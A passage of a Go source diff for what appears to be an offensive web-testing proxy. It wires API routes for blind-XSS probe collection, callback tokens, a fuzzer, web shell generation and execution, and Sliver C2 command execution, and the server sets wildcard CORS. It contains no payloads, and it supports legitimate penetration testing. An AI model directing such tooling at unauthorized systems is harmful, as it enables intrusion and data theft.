writeError(w, http.StatusNotFound, "fire not found")
return
}
writeJSON(w, http.StatusOK, fire)
}
func (s *APIServer) handleDeleteFire(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
id := r.PathValue("id")
if err := s.xssStore.DeleteFire(id); err != nil {
writeError(w, http.StatusNotFound, "fire not found")
return
}
writeJSON(w, http.StatusOK, map[string]string{"deleted": id})
}
func (s *APIServer) handleClearFires(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
probeID := r.URL.Query().Get("probe_id")
if err := s.xssStore.ClearFires(probeID); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]string{"status": "cleared"})
}
func (s *APIServer) handleUpdateProbe(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
id := r.PathValue("id")
var body struct {
CollectPages []string `json:"collectPages"`
ChainloadURI string `json:"chainloadUri"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
pagesJSON := "[]"
if len(body.CollectPages) > 0 {
if b, err := json.Marshal(body.CollectPages); err == nil {
pagesJSON = string(b)
}
}
if err := s.xssStore.UpdateProbe(id, pagesJSON, body.ChainloadURI); err != nil {
writeError(w, http.StatusNotFound, "probe not found")
return
}
probe, err := s.xssStore.FindProbeByID(id)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, probe)
}
func (s *APIServer) handleListCollectedPages(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
fireID := r.PathValue("id")
pages, err := s.xssStore.ListCollectedPages(fireID)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
if pages == nil {
pages = []xsshunter.CollectedPageSummary{}
}
writeJSON(w, http.StatusOK, pages)
}
func (s *APIServer) handleGetCollectedPage(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
id := r.PathValue("id")
page, err := s.xssStore.GetCollectedPage(id)
if err != nil {
writeError(w, http.StatusNotFound, "page not found")
return
}
writeJSON(w, http.StatusOK, page)
}
func (s *APIServer) handleGetXSSConfig(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
pagesStr, _ := s.cbStore.GetConfigValue("xss_collect_pages")
chainloadURI, _ := s.cbStore.GetConfigValue("xss_chainload_uri")
var pages []string
if pagesStr != "" {
json.Unmarshal([]byte(pagesStr), &pages) //nolint:errcheck
}
if pages == nil {
pages = []string{}
}
writeJSON(w, http.StatusOK, map[string]any{
"collectPages": pages,
"chainloadUri": chainloadURI,
})
}
func (s *APIServer) handleUpdateXSSConfig(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
var body struct {
CollectPages []string `json:"collectPages"`
ChainloadURI string `json:"chainloadUri"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
pagesJSON := "[]"
if len(body.CollectPages) > 0 {
if b, err := json.Marshal(body.CollectPages); err == nil {
pagesJSON = string(b)
}
}
if err := s.cbStore.SetConfigValue("xss_collect_pages", pagesJSON); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
if err := s.cbStore.SetConfigValue("xss_chainload_uri", body.ChainloadURI); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]any{
"collectPages": body.CollectPages,
"chainloadUri": body.ChainloadURI,
})
}
+176
View File
@@ -0,0 +1,176 @@
package api
import "net/http"
func registerRoutes(s *APIServer, mux *http.ServeMux) {
// WebSocket
mux.HandleFunc("/ws", s.hub.ServeWS)
// Mode
mux.HandleFunc("GET /api/v1/mode", s.handleGetMode)
// Theme CSS for plugin iframes
mux.HandleFunc("GET /api/v1/theme/variables.css", s.handleThemeVariables)
// System info
mux.HandleFunc("GET /api/v1/system/info", s.handleSystemInfo)
// Settings
mux.HandleFunc("GET /api/v1/settings", s.handleGetSettings)
mux.HandleFunc("PUT /api/v1/settings", s.handleUpdateSettings)
// Callback routes (both modes - handler logic differs per mode)
mux.HandleFunc("GET /api/v1/callbacks/tokens", s.handleListTokens)
mux.HandleFunc("POST /api/v1/callbacks/tokens", s.handleCreateToken)
mux.HandleFunc("DELETE /api/v1/callbacks/tokens/{id}", s.handleDeleteToken)
mux.HandleFunc("GET /api/v1/callbacks/interactions", s.handleListInteractions)
mux.HandleFunc("DELETE /api/v1/callbacks/interactions", s.handleClearInteractions)
mux.HandleFunc("GET /api/v1/callbacks/config", s.handleGetCallbackConfig)
mux.HandleFunc("PUT /api/v1/callbacks/config", s.handleUpdateCallbackConfig)
// XSS Hunter routes (both modes - handler logic differs per mode)
mux.HandleFunc("GET /api/v1/xss/probes", s.handleListProbes)
mux.HandleFunc("POST /api/v1/xss/probes", s.handleCreateProbe)
mux.HandleFunc("DELETE /api/v1/xss/probes/{id}", s.handleDeleteProbe)
mux.HandleFunc("GET /api/v1/xss/probes/{id}/payloads", s.handleGetPayloads)
mux.HandleFunc("GET /api/v1/xss/fires", s.handleListFires)
mux.HandleFunc("GET /api/v1/xss/fires/{id}", s.handleGetFire)
mux.HandleFunc("DELETE /api/v1/xss/fires/{id}", s.handleDeleteFire)
mux.HandleFunc("DELETE /api/v1/xss/fires", s.handleClearFires)
mux.HandleFunc("PUT /api/v1/xss/probes/{id}", s.handleUpdateProbe)
mux.HandleFunc("GET /api/v1/xss/fires/{id}/pages", s.handleListCollectedPages)
mux.HandleFunc("GET /api/v1/xss/pages/{id}", s.handleGetCollectedPage)
mux.HandleFunc("GET /api/v1/xss/config", s.handleGetXSSConfig)
mux.HandleFunc("PUT /api/v1/xss/config", s.handleUpdateXSSConfig)
if s.listenerMode {
if s.teamServerMode {
// Team routes (direct DB access on teamserver).
mux.HandleFunc("GET /api/v1/team/chat", s.handleListChatMessages)
mux.HandleFunc("POST /api/v1/team/chat", s.handleCreateChatMessage)
mux.HandleFunc("GET /api/v1/team/users", s.handleListActiveUsers)
mux.HandleFunc("POST /api/v1/team/nickname", s.handleTeamRename)
mux.HandleFunc("GET /api/v1/team/notes/hosts", s.handleListTeamNoteHosts)
mux.HandleFunc("GET /api/v1/team/notes", s.handleListTeamNotes)
mux.HandleFunc("POST /api/v1/team/notes", s.handleCreateTeamNote)
mux.HandleFunc("DELETE /api/v1/team/notes/{id}", s.handleDeleteTeamNote)
}
return
}
// Proxy mode routes
// Version / Update
mux.HandleFunc("GET /api/v1/system/version", s.handleVersionInfo)
mux.HandleFunc("POST /api/v1/system/restart", s.handleRestart)
mux.HandleFunc("POST /api/v1/system/update", s.handleUpdate)
mux.HandleFunc("POST /api/v1/system/check-update", s.handleCheckUpdate)
// Sitemap
mux.HandleFunc("GET /api/v1/sitemap", s.handleGetSitemap)
// HTTP history
mux.HandleFunc("GET /api/v1/requests", s.handleListRequests)
mux.HandleFunc("GET /api/v1/requests/{id}", s.handleGetRequest)
mux.HandleFunc("DELETE /api/v1/requests", s.handleClearRequests)
// Intercept
mux.HandleFunc("GET /api/v1/intercept", s.handleGetInterceptQueue)
mux.HandleFunc("PUT /api/v1/intercept/enabled", s.handleToggleIntercept)
mux.HandleFunc("POST /api/v1/intercept/{id}/forward", s.handleForwardRequest)
mux.HandleFunc("POST /api/v1/intercept/{id}/drop", s.handleDropRequest)
// Manipulate
mux.HandleFunc("POST /api/v1/manipulate/send", s.handleManipulateSend)
mux.HandleFunc("POST /api/v1/manipulate/ws/connect", s.handleManipulateWSConnect)
mux.HandleFunc("POST /api/v1/manipulate/ws/{id}/send", s.handleManipulateWSSend)
mux.HandleFunc("POST /api/v1/manipulate/ws/{id}/disconnect", s.handleManipulateWSDisconnect)
// Fuzzer
mux.HandleFunc("POST /api/v1/fuzzer/start", s.handleFuzzerStart)
mux.HandleFunc("POST /api/v1/fuzzer/{id}/stop", s.handleFuzzerStop)
mux.HandleFunc("GET /api/v1/fuzzer/campaigns", s.handleFuzzerListCampaigns)
mux.HandleFunc("GET /api/v1/fuzzer/campaigns/{id}", s.handleFuzzerGetCampaign)
mux.HandleFunc("GET /api/v1/fuzzer/campaigns/{id}/results/{index}", s.handleFuzzerGetResult)
mux.HandleFunc("DELETE /api/v1/fuzzer/campaigns/{id}", s.handleFuzzerDeleteCampaign)
mux.HandleFunc("POST /api/v1/fuzzer/wordlist", s.handleFuzzerUploadWordlist)
// Web shell generator
mux.HandleFunc("POST /api/v1/generate", s.handleGenerate)
// Web shell executor
mux.HandleFunc("POST /api/v1/execute", s.handleExecute)
// Scope
mux.HandleFunc("GET /api/v1/scope", s.handleGetScope)
mux.HandleFunc("PUT /api/v1/scope/enabled", s.handleSetScopeEnabled)
mux.HandleFunc("POST /api/v1/scope/rules", s.handleAddScopeRule)
mux.HandleFunc("DELETE /api/v1/scope/rules/{id}", s.handleDeleteScopeRule)
// Noise filter
mux.HandleFunc("GET /api/v1/noise", s.handleGetNoise)
mux.HandleFunc("PUT /api/v1/noise/enabled", s.handleSetNoiseEnabled)
mux.HandleFunc("POST /api/v1/noise/patterns", s.handleAddNoisePattern)
mux.HandleFunc("DELETE /api/v1/noise/patterns/{id}", s.handleDeleteNoisePattern)
// Match & Replace
mux.HandleFunc("GET /api/v1/replace", s.handleGetReplace)
mux.HandleFunc("PUT /api/v1/replace/enabled", s.handleSetReplaceEnabled)
mux.HandleFunc("POST /api/v1/replace/rules", s.handleAddReplaceRule)
mux.HandleFunc("DELETE /api/v1/replace/rules/{id}", s.handleDeleteReplaceRule)
// Custom Data
mux.HandleFunc("GET /api/v1/customdata", s.handleGetCustomData)
mux.HandleFunc("PUT /api/v1/customdata/enabled", s.handleSetCustomDataEnabled)
mux.HandleFunc("POST /api/v1/customdata/items", s.handleAddCustomDataItem)
mux.HandleFunc("DELETE /api/v1/customdata/items/{id}", s.handleDeleteCustomDataItem)
// Config save/load
mux.HandleFunc("GET /api/v1/configs/user", s.handleListUserConfigs)
mux.HandleFunc("POST /api/v1/configs/user", s.handleSaveUserConfig)
mux.HandleFunc("PUT /api/v1/configs/user/{name}", s.handleLoadUserConfig)
mux.HandleFunc("DELETE /api/v1/configs/user/{name}", s.handleDeleteUserConfig)
mux.HandleFunc("GET /api/v1/configs/project", s.handleListProjectConfigs)
mux.HandleFunc("POST /api/v1/configs/project", s.handleSaveProjectConfig)
mux.HandleFunc("PUT /api/v1/configs/project/{name}", s.handleLoadProjectConfig)
mux.HandleFunc("DELETE /api/v1/configs/project/{name}", s.handleDeleteProjectConfig)
// Highlights
mux.HandleFunc("GET /api/v1/highlights", s.handleGetHighlights)
mux.HandleFunc("PUT /api/v1/highlights/{id}", s.handleSetHighlight)
mux.HandleFunc("DELETE /api/v1/highlights", s.handleClearHighlights)
// WebSocket messages
mux.HandleFunc("GET /api/v1/ws/messages", s.handleListWSMessages)
mux.HandleFunc("DELETE /api/v1/ws/messages", s.handleClearWSMessages)
// Sliver C2
mux.HandleFunc("GET /api/v1/sliver/status", s.handleSliverStatus)
mux.HandleFunc("POST /api/v1/sliver/connect", s.handleSliverConnect)
mux.HandleFunc("POST /api/v1/sliver/disconnect", s.handleSliverDisconnect)
mux.HandleFunc("GET /api/v1/sliver/sessions", s.handleSliverSessions)
mux.HandleFunc("POST /api/v1/sliver/execute", s.handleSliverExecute)
mux.HandleFunc("POST /api/v1/sliver/command", s.handleSliverCommand)
mux.HandleFunc("GET /api/v1/sliver/download/{id}", s.handleSliverDownload)
mux.HandleFunc("POST /api/v1/sliver/upload", s.handleSliverUpload)
// Notes
mux.HandleFunc("GET /api/v1/notes/hosts", s.handleListNoteHosts)
mux.HandleFunc("GET /api/v1/notes", s.handleListNotes)
mux.HandleFunc("POST /api/v1/notes", s.handleCreateNote)
mux.HandleFunc("DELETE /api/v1/notes/{id}", s.handleDeleteNote)
// CA cert download
mux.HandleFunc("GET /api/v1/certs/ca.crt", s.handleDownloadCACert)
// Team routes (proxy-side, forwarded to teamserver via proxyToListener).
mux.HandleFunc("GET /api/v1/team/chat", s.handleProxyTeamChat)
mux.HandleFunc("POST /api/v1/team/chat", s.handleProxyTeamChat)
mux.HandleFunc("GET /api/v1/team/users", s.handleProxyTeamUsers)
mux.HandleFunc("GET /api/v1/team/notes/hosts", s.handleProxyTeamNotes)
mux.HandleFunc("GET /api/v1/team/notes", s.handleProxyTeamNotes)
mux.HandleFunc("POST /api/v1/team/notes", s.handleProxyTeamNotes)
mux.HandleFunc("DELETE /api/v1/team/notes/{id}", s.handleProxyTeamNotes)
// Plugin routes (dynamic, based on loaded plugins).
registerPluginRoutes(s, mux)
}
+371
View File
@@ -0,0 +1,371 @@
package api
import (
"context"
"crypto/rand"
"encoding/hex"
"encoding/json"
"fmt"
"io/fs"
"log"
"net/http"
"net/http/httputil"
"net/url"
"os"
"sync"
"time"
"github.com/BishopFox/joro/internal/callback"
"github.com/BishopFox/joro/internal/cert"
"github.com/BishopFox/joro/internal/config"
"github.com/BishopFox/joro/internal/configstore"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/plugins"
"github.com/BishopFox/joro/internal/fuzzer"
"github.com/BishopFox/joro/internal/notes"
"github.com/BishopFox/joro/internal/proxy"
"github.com/BishopFox/joro/internal/sliver"
"github.com/BishopFox/joro/internal/team"
"github.com/BishopFox/joro/internal/update"
"github.com/BishopFox/joro/internal/xsshunter"
joroweb "github.com/BishopFox/joro/web"
)
// Settings holds runtime-adjustable configuration exposed via the API.
type Settings struct {
ProxyPort int `json:"proxyPort"`
UIPort int `json:"uiPort"`
InterceptEnabled bool `json:"interceptEnabled"`
InterceptTimeout int `json:"interceptTimeout"` // seconds
ListenerURL string `json:"listenerUrl"`
HTTP2Enabled bool `json:"http2Enabled"`
KeepAliveEnabled bool `json:"keepAliveEnabled"`
SOCKSHost string `json:"socksHost"`
SOCKSPort int `json:"socksPort"`
SOCKSUsername string `json:"socksUsername"`
SOCKSPassword string `json:"socksPassword"`
SOCKSDNS bool `json:"socksDns"`
TeamToken string `json:"teamToken"`
TeamNickname string `json:"teamNickname"`
MaxRequests int `json:"maxRequests"`
DisableUpdateChecks bool `json:"disableUpdateChecks"`
}
// BuildInfo holds version information embedded at build time.
type BuildInfo struct {
Version string `json:"version"`
Commit string `json:"commit"`
UpdateAvailable bool `json:"updateAvailable"`
LatestVersion string `json:"latestVersion"`
}
// APIServer serves the REST API and the embedded frontend.
type APIServer struct {
cfg config.Config
store *proxy.Store
intercept *proxy.InterceptQueue
scope *proxy.Scope
noise *proxy.NoiseFilter
replace *proxy.MatchReplace
customData *proxy.CustomData
ca *cert.CA
hub *Hub
transport *proxy.TransportConfig
wsStore *proxy.WSStore
wsManipulate *proxy.ManipulateWSManager
cbStore *callback.Store
xssStore *xsshunter.Store
noteStore *notes.Store
sliverClient *sliver.Client
listenerMode bool
teamServerMode bool
teamStore *team.Store
teamToken string
fuzzerStore *fuzzer.Store
pluginManager *plugins.Manager
listenerRelay *ListenerRelay
configStore *configstore.Store
buildInfo BuildInfo
cancelFunc context.CancelFunc
restart bool
sessionID string
highlights map[string]string // requestID → highlight color name
mu sync.RWMutex
settings Settings
activeUserConfig string
activeProjectConfig string
// pendingUserPluginStates / pendingProjectPluginStates preserve plugin
// state blobs across a load -> save round-trip even when the owning
// plugin isn't installed on this machine. Populated on config load
// (full decoded map), merged into the serialized map on config save
// so unknown-to-us plugins' data is never dropped.
pendingUserPluginStates map[string][]byte
pendingProjectPluginStates map[string][]byte
srv *http.Server
}
// generateSessionID returns a random 16-char hex string unique to this process.
func generateSessionID() string {
b := make([]byte, 8)
rand.Read(b)
return hex.EncodeToString(b)
}
// New creates an APIServer.
func New(
cfg config.Config,
store *proxy.Store,
intercept *proxy.InterceptQueue,
scope *proxy.Scope,
noise *proxy.NoiseFilter,
replace *proxy.MatchReplace,
customData *proxy.CustomData,
transport *proxy.TransportConfig,
wsStore *proxy.WSStore,
ca *cert.CA,
hub *Hub,
noteStore *notes.Store,
pluginManager *plugins.Manager,
buildInfo BuildInfo,
cancelFunc context.CancelFunc,
) *APIServer {
sc := &sliver.Client{}
sc.SetOnEvent(func(ev sliver.SliverEvent) {
hub.Broadcast() <- event.WSEvent{Type: "sliver.event", Data: ev}
})
return &APIServer{
cfg: cfg,
store: store,
intercept: intercept,
scope: scope,
noise: noise,
replace: replace,
customData: customData,
transport: transport,
wsStore: wsStore,
wsManipulate: proxy.NewManipulateWSManager(transport),
ca: ca,
hub: hub,
noteStore: noteStore,
sliverClient: sc,
fuzzerStore: fuzzer.NewStore(),
pluginManager: pluginManager,
listenerRelay: NewListenerRelay(hub),
configStore: configstore.NewStore(cfg.DataDir),
buildInfo: buildInfo,
cancelFunc: cancelFunc,
highlights: make(map[string]string),
sessionID: generateSessionID(),
settings: Settings{
ProxyPort: cfg.ProxyPort,
UIPort: cfg.UIPort,
InterceptEnabled: false,
InterceptTimeout: 60,
HTTP2Enabled: true,
KeepAliveEnabled: false,
MaxRequests: store.MaxSize(),
DisableUpdateChecks: cfg.DisableUpdateChecks,
},
}
}
// RestartRequested returns true if the server was shut down for a restart (e.g. after update).
func (s *APIServer) RestartRequested() bool {
return s.restart
}
// NewListenerMode creates an APIServer in listener mode (no proxy components).
func NewListenerMode(cfg config.Config, cbStore *callback.Store, xssStore *xsshunter.Store, hub *Hub, token string) *APIServer {
return &APIServer{
cfg: cfg,
hub: hub,
cbStore: cbStore,
xssStore: xssStore,
listenerMode: true,
teamToken: token,
sessionID: generateSessionID(),
settings: Settings{
UIPort: cfg.UIPort,
},
}
}
// NewTeamServerMode creates an APIServer in team server mode (listener + team features, no frontend).
func NewTeamServerMode(cfg config.Config, cbStore *callback.Store, xssStore *xsshunter.Store, hub *Hub, teamStore *team.Store, token string) *APIServer {
hub.SetOnConnect(func(nickname, ip string) {
if err := teamStore.RecordConnection(nickname, ip); err != nil {
log.Printf("team: failed to record connection for %s: %v", nickname, err)
}
})
return &APIServer{
cfg: cfg,
hub: hub,
cbStore: cbStore,
xssStore: xssStore,
listenerMode: true,
teamServerMode: true,
teamStore: teamStore,
teamToken: token,
sessionID: generateSessionID(),
settings: Settings{
UIPort: cfg.UIPort,
},
}
}
// startUpdateChecker runs a background goroutine that checks for updates every
// 5 minutes and broadcasts a WebSocket event when a new version is found.
func (s *APIServer) startUpdateChecker(ctx context.Context) {
ticker := time.NewTicker(5 * time.Minute)
go func() {
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
s.mu.RLock()
disabled := s.settings.DisableUpdateChecks
currentVersion := s.buildInfo.Version
s.mu.RUnlock()
if disabled {
continue
}
latestVersion, available := update.CheckForUpdate(currentVersion)
if !available {
continue
}
s.mu.Lock()
changed := !s.buildInfo.UpdateAvailable || s.buildInfo.LatestVersion != latestVersion
s.buildInfo.UpdateAvailable = available
s.buildInfo.LatestVersion = latestVersion
s.mu.Unlock()
if changed {
s.mu.RLock()
info := s.buildInfo
s.mu.RUnlock()
s.hub.Broadcast() <- event.WSEvent{
Type: "system.update.available",
Data: info,
}
}
}
}
}()
}
// Start begins serving and blocks until ctx is cancelled.
func (s *APIServer) Start(ctx context.Context) error {
mux := http.NewServeMux()
registerRoutes(s, mux)
// Start periodic update checker (proxy mode only).
if !s.listenerMode {
s.startUpdateChecker(ctx)
}
// Serve frontend (skip in listener mode - listener is API-only).
if !s.listenerMode {
if s.cfg.Dev {
s.mountDevProxy(mux)
} else {
s.mountEmbedded(mux)
}
}
var handler http.Handler = mux
if s.listenerMode {
handler = team.AuthMiddleware(s.teamToken, handler)
}
handler = corsMiddleware(handler)
s.srv = &http.Server{
Addr: fmt.Sprintf("%s:%d", s.cfg.BindAddr, s.cfg.UIPort),
Handler: handler,
ReadHeaderTimeout: 10 * time.Second,
IdleTimeout: 120 * time.Second,
}
go func() {
<-ctx.Done()
shutCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
s.srv.Shutdown(shutCtx) //nolint:errcheck
}()
if err := s.srv.ListenAndServe(); err != http.ErrServerClosed {
return err
}
return nil
}
// mountEmbedded serves the built React app from the embedded FS.
func (s *APIServer) mountEmbedded(mux *http.ServeMux) {
sub, err := fs.Sub(joroweb.Dist, "dist")
if err != nil {
return
}
mux.Handle("/", http.FileServer(http.FS(&spaFS{fs: sub})))
}
// mountDevProxy reverse-proxies non-API requests to the Vite dev server.
func (s *APIServer) mountDevProxy(mux *http.ServeMux) {
target, err := url.Parse(s.cfg.ViteURL)
if err != nil {
return
}
rp := httputil.NewSingleHostReverseProxy(target)
mux.Handle("/", rp)
}
// spaFS serves index.html for any path not found in the embedded FS (SPA catch-all).
type spaFS struct{ fs fs.FS }
func (s *spaFS) Open(name string) (fs.File, error) {
f, err := s.fs.Open(name)
if err == nil {
return f, nil
}
if os.IsNotExist(err) {
return s.fs.Open("index.html")
}
return nil, err
}
// corsMiddleware adds permissive CORS headers for dev usage.
func corsMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Access-Control-Allow-Origin", "*")
w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS")
w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization, X-Joro-Nickname")
if r.Method == http.MethodOptions {
w.WriteHeader(http.StatusNoContent)
return
}
next.ServeHTTP(w, r)
})
}
// writeJSON encodes data as JSON and writes it with the given status code.
func writeJSON(w http.ResponseWriter, status int, data any) {
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(status)
json.NewEncoder(w).Encode(data) //nolint:errcheck
}
func writeError(w http.ResponseWriter, status int, msg string) {
writeJSON(w, status, map[string]string{"error": msg})
}
+202
View File
@@ -0,0 +1,202 @@
package api
import (
"encoding/json"
"errors"
"log"
"net"
"net/http"
"sync"
"github.com/gorilla/websocket"
)
var upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool { return true },
}
// errNicknameInUse is returned by Hub.Rename when the target nickname is already taken.
var errNicknameInUse = errors.New("nickname already in use")
// OnConnectFunc is called when a named user connects with their nickname and IP.
type OnConnectFunc func(nickname, ip string)
// Hub manages WebSocket clients and broadcasts events to all of them.
type Hub struct {
mu sync.RWMutex
clients map[*websocket.Conn]string // conn -> nickname ("" for non-team connections)
broadcast chan any
onConnect OnConnectFunc
}
// NewHub creates a Hub. Call Run() in a goroutine before accepting connections.
func NewHub() *Hub {
return &Hub{
clients: make(map[*websocket.Conn]string),
broadcast: make(chan any, 512),
}
}
// SetOnConnect sets a callback invoked when a named user connects.
func (h *Hub) SetOnConnect(fn OnConnectFunc) {
h.onConnect = fn
}
// Run reads from the broadcast channel and fans out to all connected clients.
// It blocks until the channel is closed.
func (h *Hub) Run() {
for msg := range h.broadcast {
data, err := json.Marshal(msg)
if err != nil {
continue
}
h.mu.RLock()
for conn := range h.clients {
if err := conn.WriteMessage(websocket.TextMessage, data); err != nil {
log.Printf("ws write: %v", err)
}
}
h.mu.RUnlock()
}
}
// Broadcast returns the write-only broadcast channel.
func (h *Hub) Broadcast() chan<- any {
return h.broadcast
}
// HasNickname returns true if a client with the given nickname is already connected.
func (h *Hub) HasNickname(nickname string) bool {
h.mu.RLock()
defer h.mu.RUnlock()
for _, nick := range h.clients {
if nick == nickname {
return true
}
}
return false
}
// ActiveUsers returns a deduplicated list of connected nicknames (non-empty only).
func (h *Hub) ActiveUsers() []string {
h.mu.RLock()
defer h.mu.RUnlock()
seen := make(map[string]struct{})
var users []string
for _, nick := range h.clients {
if nick == "" {
continue
}
if _, exists := seen[nick]; !exists {
seen[nick] = struct{}{}
users = append(users, nick)
}
}
return users
}
// broadcastPresence sends a team.presence event with the current active user list.
func (h *Hub) broadcastPresence() {
users := h.ActiveUsers()
if users == nil {
users = []string{}
}
h.broadcast <- map[string]any{
"type": "team.presence",
"data": map[string]any{"users": users},
}
}
// Rename swaps oldNick → newNick on an existing conn and emits team.nickname_changed. Returns (false, nil) if oldNick has no conn.
func (h *Hub) Rename(oldNick, newNick string) (bool, error) {
h.mu.Lock()
var oldConn *websocket.Conn
for c, nick := range h.clients {
if nick == newNick {
h.mu.Unlock()
return false, errNicknameInUse
}
if nick == oldNick && oldConn == nil {
oldConn = c
}
}
if oldConn == nil {
h.mu.Unlock()
return false, nil
}
h.clients[oldConn] = newNick
h.mu.Unlock()
h.broadcast <- map[string]any{
"type": "team.nickname_changed",
"data": map[string]any{
"oldNickname": oldNick,
"newNickname": newNick,
},
}
return true, nil
}
// ServeWS upgrades the HTTP connection to WebSocket and registers the client.
func (h *Hub) ServeWS(w http.ResponseWriter, r *http.Request) {
// Extract nickname from query param (set by auth middleware or relay).
nickname := r.URL.Query().Get("nickname")
// Reject duplicate nicknames before upgrading.
if nickname != "" && h.HasNickname(nickname) {
http.Error(w, `{"error":"nickname already in use"}`, http.StatusConflict)
return
}
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
return
}
// Double-check under write lock to prevent race between HasNickname and registration.
h.mu.Lock()
if nickname != "" {
for _, nick := range h.clients {
if nick == nickname {
h.mu.Unlock()
conn.WriteMessage(websocket.CloseMessage,
websocket.FormatCloseMessage(websocket.ClosePolicyViolation, "nickname already in use"))
conn.Close()
return
}
}
}
h.clients[conn] = nickname
h.mu.Unlock()
if nickname != "" {
h.broadcastPresence()
if h.onConnect != nil {
ip, _, _ := net.SplitHostPort(r.RemoteAddr)
if ip == "" {
ip = r.RemoteAddr
}
h.onConnect(nickname, ip)
}
}
defer func() {
h.mu.Lock()
delete(h.clients, conn)
h.mu.Unlock()
if nickname != "" {
h.broadcastPresence()
}
conn.Close()
}()
// Drain client messages; disconnect on any error.
for {
if _, _, err := conn.ReadMessage(); err != nil {
return
}
}
}
+156
View File
@@ -0,0 +1,156 @@
package api
import (
"encoding/json"
"log"
"net/url"
"strings"
"sync"
"time"
"github.com/gorilla/websocket"
)
// ListenerRelay maintains a WebSocket connection to the remote teamserver
// and relays team.* events to the local Hub.
type ListenerRelay struct {
hub *Hub
mu sync.Mutex
url string
token string
nickname string
stop chan struct{}
}
// NewListenerRelay creates a relay. Call Update() to start connecting.
func NewListenerRelay(hub *Hub) *ListenerRelay {
return &ListenerRelay{hub: hub}
}
// SetNickname updates the cached nickname for the next reconnect, without closing the current connection.
func (lr *ListenerRelay) SetNickname(newNickname string) {
lr.mu.Lock()
defer lr.mu.Unlock()
lr.nickname = newNickname
}
// Update sets the connection parameters and (re)starts the relay.
// Pass empty url or token to stop the relay.
func (lr *ListenerRelay) Update(listenerURL, token, nickname string) {
lr.mu.Lock()
defer lr.mu.Unlock()
// Stop existing connection.
if lr.stop != nil {
close(lr.stop)
lr.stop = nil
}
if listenerURL == "" || token == "" {
return
}
lr.url = listenerURL
lr.token = token
lr.nickname = nickname
lr.stop = make(chan struct{})
go lr.run(lr.stop, listenerURL, token, nickname)
}
func (lr *ListenerRelay) run(stop chan struct{}, listenerURL, token, nickname string) {
backoff := time.Second
for {
select {
case <-stop:
return
default:
}
wsURL := buildWSURL(listenerURL, token, nickname)
if wsURL == "" {
return
}
conn, resp, err := websocket.DefaultDialer.Dial(wsURL, nil)
if err != nil {
if resp != nil {
log.Printf("team relay: connect error: %v (HTTP %d)", err, resp.StatusCode)
} else {
log.Printf("team relay: connect error: %v", err)
}
select {
case <-stop:
return
case <-time.After(backoff):
}
if backoff < 30*time.Second {
backoff *= 2
}
continue
}
backoff = time.Second
lr.readLoop(conn, stop)
conn.Close()
}
}
func (lr *ListenerRelay) readLoop(conn *websocket.Conn, stop chan struct{}) {
for {
select {
case <-stop:
return
default:
}
_, data, err := conn.ReadMessage()
if err != nil {
return
}
var msg struct {
Type string `json:"type"`
Data json.RawMessage `json:"data"`
}
if err := json.Unmarshal(data, &msg); err != nil {
continue
}
// Only relay team events.
if !strings.HasPrefix(msg.Type, "team.") {
continue
}
// Re-broadcast the raw event to local clients.
var raw any
if err := json.Unmarshal(data, &raw); err == nil {
lr.hub.Broadcast() <- raw
}
}
}
func buildWSURL(listenerURL, token, nickname string) string {
base := strings.TrimRight(listenerURL, "/")
// Convert http(s) to ws(s).
if strings.HasPrefix(base, "https://") {
base = "wss://" + strings.TrimPrefix(base, "https://")
} else if strings.HasPrefix(base, "http://") {
base = "ws://" + strings.TrimPrefix(base, "http://")
} else {
base = "ws://" + base
}
u, err := url.Parse(base + "/ws")
if err != nil {
return ""
}
q := u.Query()
q.Set("token", token)
if nickname != "" {
q.Set("nickname", nickname)
}
u.RawQuery = q.Encode()
return u.String()
}
+147
View File
@@ -0,0 +1,147 @@
package callback
import (
"database/sql"
_ "modernc.org/sqlite"
)
const schema = `
CREATE TABLE IF NOT EXISTS config (
key TEXT PRIMARY KEY,
value TEXT NOT NULL
);
CREATE TABLE IF NOT EXISTS tokens (
id TEXT PRIMARY KEY,
note TEXT NOT NULL DEFAULT '',
token TEXT NOT NULL UNIQUE,
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
);
CREATE TABLE IF NOT EXISTS interactions (
id TEXT PRIMARY KEY,
token_id TEXT NOT NULL REFERENCES tokens(id) ON DELETE CASCADE,
token TEXT NOT NULL,
type TEXT NOT NULL,
source_ip TEXT NOT NULL,
timestamp DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
query_name TEXT,
query_type TEXT,
method TEXT,
path TEXT,
headers TEXT,
body TEXT,
raw_request TEXT
);
CREATE INDEX IF NOT EXISTS idx_interactions_token_id ON interactions(token_id);
CREATE INDEX IF NOT EXISTS idx_interactions_timestamp ON interactions(timestamp DESC);
